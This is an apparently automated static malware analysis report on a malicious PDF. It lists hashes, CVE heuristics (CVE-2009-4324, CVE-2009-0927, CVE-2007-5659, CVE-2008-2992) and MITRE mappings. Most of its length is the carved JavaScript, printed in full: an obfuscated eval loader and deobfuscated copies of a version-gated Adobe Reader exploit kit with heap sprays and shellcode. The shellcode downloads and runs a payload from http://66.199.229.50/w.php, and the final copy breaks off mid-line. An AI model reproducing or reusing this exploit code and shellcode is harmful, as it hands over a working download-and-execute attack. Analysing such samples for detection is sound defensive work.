Malicious PDF — malware analysis report

Static analysis result for SHA-256 40749a623010fdaa…

MALICIOUS

PDF

12.8 KB First seen: 2026-05-09
MD5: f7cddc8ea8c5c256618d236c6ee67301 SHA-1: 7ecbfdbee91ef0030b5f09c5d75c1acc5c1fff80 SHA-256: 40749a623010fdaa4e5f8e08bc9f3c450d50eef34f73036868ceebfbca407427
490 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits multiple known Adobe Reader vulnerabilities, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The JavaScript is designed to download and execute a second-stage payload from the URL http://66.199.229.50/w.php?f=62&e=5. The exploit kit and embedded download URL strongly indicate malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://66.199.229.50/w.php?f=62&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x369 11977 bytes
SHA-256: 28c1c141ba20980e94d93b2cefb2dc726335b2afc9370fcabcbd31ca5d2a10ad
Preview script
First 1,000 lines of the extracted script
j='4wbt43t';
z
=
new
Array(47,59,69,58,69,19,49,19,67,67,74,36,73,53,18,19,46,13,15,14,50,50,46,13,59,68,58,25,46,13,15,62,59,68,46,13,42,62,58,25,46,13,58,22,14,25,46,13,14,14,62,59,46,13,50,25,68,56,46,13,25,56,15,74,46,13,15,74,14,56,46,13,56,68,25,56,46,13,42,56,15,74,46,13,62,50,49,68,46,13,42,50,15,74,46,13,14,14,56,15,46,13,50,50,29,74,46,13,62,58,15,74,46,13,56,14,14,68,46,13,14,14,42,25,46,13,15,49,48,68,46,13,49,62,58,58,46,13,59,59,49,56,46,13,74,15,59,59,46,13,25,56,15,74,46,13,68,14,14,56,46,13,14,22,25,50,46,13,42,62,56,50,46,13,15,42,59,74,46,13,48,25,14,25,46,13,58,25,15,62,46,13,62,49,42,62,46,13,58,74,58,22,46,13,62,49,25,68,46,13,15,74,62,50,46,13,14,68,42,62,46,13,42,25,15,74,46,13,42,15,14,62,46,13,59,62,56,14,46,13,15,74,62,50,46,13,48,56,42,50,46,13,59,62,56,14,46,13,68,22,14,14,46,13,25,49,25,22,46,13,24,29,59,68,46,13,68,62,56,14,46,13,29,74,14,14,46,13,74,58,56,59,46,13,14,15,49,56,46,13,42,25,59,48,46,13,68,49,56,15,46,13,56,29,68,74,46,13,29,24,56,14,46,13,58,74,25,56,46,13,14,74,59,49,46,13,42,62,49,59,46,13,62,58,58,50,46,13,62,58,15,74,46,13,56,14,48,25,46,13,50,50,29,29,46,13,56,68,15,74,46,13,15,29,25,74,46,13,58,68,25,50,46,13,62,25,59,59,46,13,56,68,48,25,46,13,29,15,15,74,46,13,29,29,56,14,46,13,56,25,15,74,46,13,56,14,15,74,46,13,24,74,68,62,46,13,62,22,62,58,46,13,58,74,68,14,46,13,24,29,62,14,46,13,50,15,15,74,46,13,15,56,48,56,46,13,56,68,42,29,46,13,42,25,14,14,46,13,22,50,56,14,46,13,59,14,58,74,46,13,50,15,15,74,46,13,15,74,56,15,46,13,50,24,59,42,46,13,62,22,56,62,46,13,22,15,58,15,46,13,59,59,59,59,46,13,58,48,59,59,46,13,58,15,59,22,46,13,56,56,56,56,46,13,56,56,56,56,46,13,62,56,62,15,46,13,25,56,50,24,46,13,59,59,50,15,46,13,56,56,56,56,46,13,62,56,56,56,46,13,68,56,15,14,46,13,62,56,49,22,46,13,15,74,62,62,46,13,15,74,58,68,46,13,49,56,62,58,46,13,68,14,15,14,46,13,59,59,56,62,46,13,50,15,58,14,46,13,50,58,50,59,46,13,56,56,56,56,46,13,42,62,50,15,46,13,50,68,42,48,46,13,62,25,50,29,46,13,49,50,59,59,46,13,68,25,15,14,46,13,15,74,56,15,46,13,58,15,58,15,46,13,59,59,50,49,46,13,59,59,59,59,46,13,56,48,58,74,46,13,42,48,58,74,46,13,58,68,15,49,46,13,56,49,56,25,46,13,56,56,56,56,46,13,62,68,15,29,46,13,56,68,48,25,46,13,56,25,68,42,46,13,42,48,48,25,46,13,50,42,50,62,46,13,68,42,42,14,46,13,48,25,25,25,46,13,42,50,56,25,46,13,14,14,42,48,46,13,68,42,14,48,46,13,48,25,25,25,46,13,48,56,56,15,46,13,42,14,48,29,46,13,62,14,48,56,46,13,59,15,50,15,46,13,56,56,56,56,46,13,59,59,56,56,46,13,56,68,62,50,46,13,58,15,15,74,46,13,68,22,14,14,46,13,68,42,62,49,46,13,49,29,25,25,46,13,42,42,56,56,46,13,50,48,42,56,46,13,68,42,42,25,46,13,49,29,25,25,46,13,48,58,56,62,46,13,50,68,50,25,46,13,68,50,50,68,46,13,49,29,25,25,46,13,56,56,56,22,46,13,15,24,62,22,46,13,56,25,68,49,46,13,15,15,14,56,46,13,49,29,25,25,46,13,25,49,56,25,46,13,50,24,62,49,46,13,50,24,56,56,46,13,62,14,56,56,46,13,50,24,62,42,46,13,59,59,56,56,46,13,49,25,62,50,46,13,68,56,15,62,46,13,49,50,42,62,46,13,56,56,50,24,46,13,59,59,62,14,46,13,56,25,62,50,46,13,56,56,50,24,46,13,58,74,15,14,46,13,62,14,56,68,46,13,62,50,59,59,46,13,15,14,56,25,46,13,56,68,68,14,46,13,56,48,58,74,46,13,49,14,58,74,46,13,15,56,25,42,46,13,56,56,14,59,46,13,59,24,42,62,46,13,15,56,25,42,46,13,56,56,14,59,46,13,68,25,42,62,46,13,56,56,50,24,46,13,59,58,50,24,46,13,62,50,59,59,46,13,58,15,56,15,46,13,59,58,22,68,46,13,59,59,59,59,46,13,25,58,15,58,46,13,58,68,56,58,46,13,59,58,22,15,46,13,56,58,15,24,46,13,50,59,15,22,46,13,74,29,56,49,46,13,68,24,14,14,46,13,62,74,15,24,46,13,68,50,49,74,46,13,42,22,25,50,46,13,49,24,14,50,46,13,42,56,48,59,46,13,42,25,50,15,46,13,42,56,42,25,46,13,48,59,14,24,46,13,14,50,48,59,46,13,48,58,14,50,46,13,14,22,14,49,46,13,48,58,14,22,46,13,14,48,14,48,46,13,48,58,14,22,46,13,14,56,14,62,46,13,42,42,48,59,46,13,42,56,48,58,46,13,42,56,50,15,46,13,50,50,14,59,46,13,14,50,14,29,46,13,48,50,14,48,46,13,14,29,50,62,46,13,56,56,14,62,46,13,56,56,56,56,19,32,59,13,63,68,3,47,30,63,20,58,28,44,33,69,33,24,34,7,72,67,21,37,11,47,55,58,69,33,24,31,55,58,63,53,3,11,1,48,5,7,72,67,21,33,24,16,18,33,24,32,43,33,24,18,33,24,31,73,13,74,73,3,33,47,63,53,69,56,34,7,72,71,48,67,32,33,58,3,13,33,63,20,33,24,32,43,20,59,13,63,68,3,47,30,63,20,74,40,69,67,21,44,24,33,20,29,65,53,18,63,58,37,20,39,33,33,24,72,69,67,32,44,24,33,20,44,37,18,56,40,56,68,56,68,56,68,56,68,32,44,24,33,20,24,29,29,33,18,56,40,25,56,56,56,56,56,32,44,24,33,20,45,24,72,55,30,24,29,18,13,63,58,73,68,24,45,58,69,74,36,73,53,67,32,44,24,33,20,73,68,23,55,58,63,18,45,24,72,55,30,24,29,31,55,58,63,53,3,11,1,48,32,44,24,33,20,7,72,18,24,29,29,33,27,69,73,68,23,55,58,63,16,56,40,14,15,67,32,44,24,33,20,72,24,33,73,45,18,13,63,58,73,68,24,45,58,69,75,46,13,22,56,22,56,46,13,22,56,22,56,75,67,32,72,24,33,73,45,18,58,28,44,33,69,72,24,33,73,45,34,7,72,67,32,44,24,33,20,68,30,13,63,3,48,18,69,44,37,27,56,40,25,56,56,56,56,56,67,71,24,29,29,33,32,59,30,33,69,44,24,33,20,68,30,13,63,3,18,56,32,68,30,13,63,3,5,68,30,13,63,3,48,32,68,30,13,63,3,16,16,67,21,29,65,53,9,68,30,13,63,3,52,18,72,24,33,73,45,16,45,24,72,55,30,24,29,32,43,20,44,24,33,20,30,44,58,33,59,55,30,37,18,13,63,58,73,68,24,45,58,69,75,46,13,56,68,56,68,46,13,56,68,56,68,75,67,32,37,11,47,55,58,69,30,44,58,33,59,55,30,37,31,55,58,63,53,3,11,5,25,25,22,62,48,67,21,30,44,58,33,59,55,30,37,16,18,30,44,58,33,59,55,30,37,32,43,20,3,11,47,73,31,68,30,55,55,24,74,57,3,30,33,58,18,17,30,55,55,24,74,31,68,30,55,55,58,68,3,12,60,24,47,55,61,63,59,30,69,21,73,13,74,36,51,75,75,34,60,73,53,51,30,44,58,33,59,55,30,37,43,67,32,43,20,59,13,63,68,3,47,30,63,20,45,33,47,63,3,59,69,67,21,63,30,45,18,13,63,58,73,68,24,45,58,69,75,46,13,56,39,56,39,46,13,56,39,56,39,46,13,56,39,56,39,46,13,56,39,56,39,75,67,32,44,24,33,20,45,24,72,55,30,24,29,18,13,63,58,73,68,24,45,58,69,74,36,73,53,67,32,11,58,24,45,74,55,30,68,65,18,63,30,45,16,45,24,72,55,30,24,29,32,74,47,53,74,55,30,68,65,18,13,63,58,73,68,24,45,58,69,75,46,13,56,39,56,39,46,13,56,39,56,39,75,67,32,11,58,24,29,58,33,73,47,28,58,18,48,56,32,73,45,33,24,72,18,11,58,24,29,58,33,73,47,28,58,16,11,58,24,45,74,55,30,68,65,31,55,58,63,53,3,11,32,37,11,47,55,58,69,74,47,53,74,55,30,68,65,31,55,58,63,53,3,11,5,73,45,33,24,72,67,21,74,47,53,74,55,30,68,65,16,18,74,47,53,74,55,30,68,65,32,43,20,59,47,55,55,74,55,30,68,65,18,74,47,53,74,55,30,68,65,31,73,13,74,73,3,33,47,63,53,69,56,34,73,45,33,24,72,67,32,74,55,30,68,65,18,74,47,53,74,55,30,68,65,31,73,13,74,73,3,33,47,63,53,69,56,34,74,47,53,74,55,30,68,65,31,55,58,63,53,3,11,27,73,45,33,24,72,67,32,37,11,47,55,58,69,74,55,30,68,65,31,55,58,63,53,3,11,16,73,45,33,24,72,5,56,40,25,56,56,56,56,67,21,74,55,30,68,65,18,74,55,30,68,65,16,74,55,30,68,65,16,59,47,55,55,74,55,30,68,65,32,43,20,60,58,60,18,63,58,37,20,39,33,33,24,72,69,67,32,59,30,33,69,47,18,56,32,47,5,49,25,56,56,32,47,16,16,67,21,60,58,60,9,47,52,18,74,55,30,68,65,16,11,58,24,45,74,55,30,68,65,32,43,20,44,24,33,20,63,13,60,18,49,48,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,32,13,3,47,55,31,45,33,47,63,3,59,69,75,46,25,62,56,56,56,59,75,34,63,13,60,67,32,43,20,59,13,63,68,3,47,30,63,20,53,58,3,47,68,30,63,69,67,21,44,24,33,20,24,33,33,72,18,63,58,37,20,39,33,33,24,72,69,67,32,47,59,69,24,45,45,31,29,30,68,31,17,30,55,55,24,74,31,53,58,3,61,68,30,63,67,21,44,24,33,20,45,24,72,55,30,24,29,18,13,63,58,73,68,24,45,58,69,74,36,73,53,67,32,44,24,33,20,11,26,7,62,56,56,17,0,18,45,24,72,55,30,24,29,31,55,58,63,53,3,11,1,48,32,44,24,33,20,7,72,18,56,40,25,56,56,56,56,56,27,69,11,26,7,62,56,56,17,0,16,56,40,14,15,67,32,44,24,33,20,72,24,33,73,45,18,13,63,58,73,68,24,45,58,69,75,46,13,22,56,22,56,46,13,22,56,22,56,75,67,32,72,24,33,73,45,18,58,28,44,33,69,72,24,33,73,45,34,7,72,67,32,44,24,33,20,45,62,39,36,8,50,62,59,18,69,56,40,56,68,56,68,56,68,56,68,27,56,40,25,56,56,56,56,56,67,71,56,40,25,56,56,56,56,56,32,59,30,33,69,44,24,33,20,44,7,68,64,2,22,50,72,18,56,32,44,7,68,64,2,22,50,72,5,45,62,39,36,8,50,62,59,32,44,7,68,64,2,22,50,72,16,16,67,21,24,33,33,72,9,44,7,68,64,2,22,50,72,52,18,72,24,33,73,45,16,45,24,72,55,30,24,29,32,43,20,44,24,33,20,3,66,54,11,0,74,10,37,18,13,63,58,73,68,24,45,58,69,75,46,56,22,75,67,32,37,11,47,55,58,69,3,66,54,11,0,74,10,37,31,55,58,63,53,3,11,5,56,40,25,56,56,56,67,21,3,66,54,11,0,74,10,37,16,18,3,66,54,11,0,74,10,37,32,43,20,3,66,54,11,0,74,10,37,18,75,0,31,75,16,3,66,54,11,0,74,10,37,32,24,45,45,31,29,30,68,31,17,30,55,55,24,74,31,53,58,3,61,68,30,63,69,3,66,54,11,0,74,10,37,67,32,43,43,20,24,35,55,13,53,47,63,73,18,24,45,45,31,45,55,13,53,61,63,73,32,44,24,33,20,73,44,18,45,24,33,73,58,61,63,3,69,24,45,45,31,44,47,58,37,58,33,70,58,33,73,47,30,63,31,3,30,57,3,33,47,63,53,69,67,31,68,11,24,33,39,3,69,56,67,67,32,59,30,33,69,44,24,33,20,47,18,56,32,47,5,24,35,55,13,53,47,63,73,31,55,58,63,53,3,11,32,47,16,16,67,21,47,59,69,24,35,55,13,53,47,63,73,9,47,52,31,63,24,60,58,18,18,19,12,57,68,33,47,45,3,19,67,21,44,24,33,20,55,44,18,24,35,55,13,53,47,63,73,9,47,52,31,44,58,33,73,47,30,63,32,43,43,20,47,59,69,69,55,44,18,18,22,67,4,4,69,69,73,44,18,18,15,67,41,41,69,55,44,5,18,15,31,49,48,67,67,67,21,53,58,3,47,68,30,63,69,67,32,43,58,55,73,58,20,47,59,69,55,44,18,18,42,31,49,67,21,45,33,47,63,3,59,69,67,32,43,58,55,73,58,20,47,59,69,69,69,73,44,18,18,50,67,4,4,69,73,44,18,18,42,67,67,41,41,69,55,44,5,42,31,49,49,67,67,21,74,40,69,67,32,43,58,55,73,58,20,47,59,69,69,55,44,6,18,22,31,49,67,4,4,69,55,44,5,18,22,31,48,67,4,4,69,55,44,6,18,15,31,49,14,67,4,4,69,55,44,5,18,15,31,49,42,67,67,21,59,13,63,68,3,47,30,63,20,24,69,67,21,13,3,47,55,31,45,33,47,63,3,29,69,19,45,38,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,20,51,20,72,72,72,72,49,49,49,19,34,63,58,37,20,2,24,3,58,69,67,67,32,43,44,24,33,20,11,18,24,45,45,31,45,55,13,53,61,63,73,32,59,30,33,69,44,24,33,20,59,18,56,32,59,5,11,31,55,58,63,53,3,11,32,59,16,16,67,21,47,59,69,11,9,59,52,31,63,24,60,58,18,18,19,12,57,68,33,47,45,3,19,67,21,44,24,33,20,47,18,11,9,59,52,31,44,58,33,73,47,30,63,32,43,43,20,47,59,69,69,47,6,15,31,49,48,67,41,41,69,47,5,15,31,48,67,67,21,68,18,63,58,37,20,39,33,33,24,72,69,67,32,44,24,33,20,29,18,13,63,58,73,68,24,45,58,69,19,46,13,22,56,22,56,46,13,22,56,22,56,19,67,32,44,24,33,20,58,18,13,63,58,73,68,24,45,58,69,74,36,73,53,67,32,37,11,47,55,58,69,29,31,55,58,63,53,3,11,5,18,56,40,15,56,56,56,67,21,29,16,18,29,32,43,29,18,29,31,73,13,74,73,3,33,69,56,34,56,40,15,56,56,56,27,58,31,55,58,63,53,3,11,67,32,59,30,33,69,59,18,56,32,59,5,48,22,56,56,32,59,16,16,67,21,68,9,59,52,18,29,16,58,32,43,24,69,67,32,24,69,67,32,3,33,72,21,3,11,47,73,31,60,58,29,47,24,31,63,58,37,35,55,24,72,58,33,69,63,13,55,55,67,32,43,68,24,3,68,11,69,58,67,21,43,24,69,67,32,43,43);
a=new String("N*Dt|<>qK[GhEu38+C=' {9_a4W-zdo.;r,Pjw@Ax&7}vp%i216:]gMl0SefmI5nQkU)c(V/ysb'");
b="al";
b2="v"
+b;
try
{
for(i in app)
if(i=='printerNames')
fqwf-1;
}catch(q){
e=j['substr']();
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
s=new String();try{if(!google.search())throw 1;}catch(q){r=1;}{
for(j=0;j<z.length;j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[j]];
}
}}

try{if(!google.search())bbb-123;}
catch(nergerg){
e(s);
}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 3858 bytes
SHA-256: fb252dc81c3dcd20f9592b00f32e924e7c762fe793052eddcae8af7adcdcce12
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u363d%u2632%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 3854 bytes
SHA-256: 6c6c402e6cd97e4fc0b50522017c5f7c62b303f3ba77b22191b286c3c798fc55
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u363d%u2632%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	